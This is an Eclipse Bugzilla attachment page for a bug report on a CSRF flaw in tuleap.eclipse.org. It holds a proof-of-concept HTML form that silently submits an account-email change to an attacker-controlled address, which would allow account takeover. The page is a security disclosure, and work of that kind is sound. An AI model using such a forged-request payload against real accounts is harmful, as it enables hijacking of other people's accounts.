Download
Getting Started
Members
Projects
Community
Marketplace
Events
Planet Eclipse
Newsletter
Videos
Participate
Report a Bug
Forums
Mailing Lists
Wiki
IRC
How to Contribute
Working Groups
Automotive
Internet of Things
LocationTech
Long-Term Support
PolarSys
Science
OpenMDM
More
Community
Marketplace
Events
Planet Eclipse
Newsletter
Videos
Participate
Report a Bug
Forums
Mailing Lists
Wiki
IRC
How to Contribute
Working Groups
Automotive
Internet of Things
LocationTech
Long-Term Support
PolarSys
Science
OpenMDM
Toggle navigation
Bugzilla – Attachment 272775 Details for
Bug 531434
CSRF vulnerability in tuleap.eclipse.org that can be used to takeover accounts
Home
|
New
|
Browse
|
Search
|
[?]
|
Reports
|
Requests
|
Help
|
Log In
[x]
|
Terms of Use
|
Copyright Agent
Some Eclipse Foundation services are deprecated, or will be soon. Please ensure you've read
this important communication.
Use this to test
tmp_csrf.html (text/html), 624 bytes, created by
itle kedi
on 2018-02-20 17:28:47 EST
(
hide
)
Description:
Use this to test
Filename:
MIME Type:
Creator:
itle kedi
Created:
2018-02-20 17:28:47 EST
Size:
624 bytes
patch
obsolete
><html> > > <body> > <script>history.pushState('', '', '/')</script> > <form action="https://tuleap.eclipse.org/account/change_email-confirm.php" method="POST"> > <input type="hidden" name="challenge" value="" /> > <input type="hidden" name="form_user" value="319" /> > <input type="hidden" name="form_newemail" value="comecheckitout1337999@yopmail.com" /> > <input type="hidden" name="Send Confirmation to New Address" value="Send Confirmation to New Address" /> > <input type="submit" value="Submit request" /> > </form> > </body> ></html>
<html> <body> <script>history.pushState('', '', '/')</script> <form action="https://tuleap.eclipse.org/account/change_email-confirm.php" method="POST"> <input type="hidden" name="challenge" value="" /> <input type="hidden" name="form_user" value="319" /> <input type="hidden" name="form_newemail" value="comecheckitout1337999@yopmail.com" /> <input type="hidden" name="Send Confirmation to New Address" value="Send Confirmation to New Address" /> <input type="submit" value="Submit request" /> </form> </body> </html>
View Attachment As Raw
Actions:
View
Attachments on
bug 531434
: 272775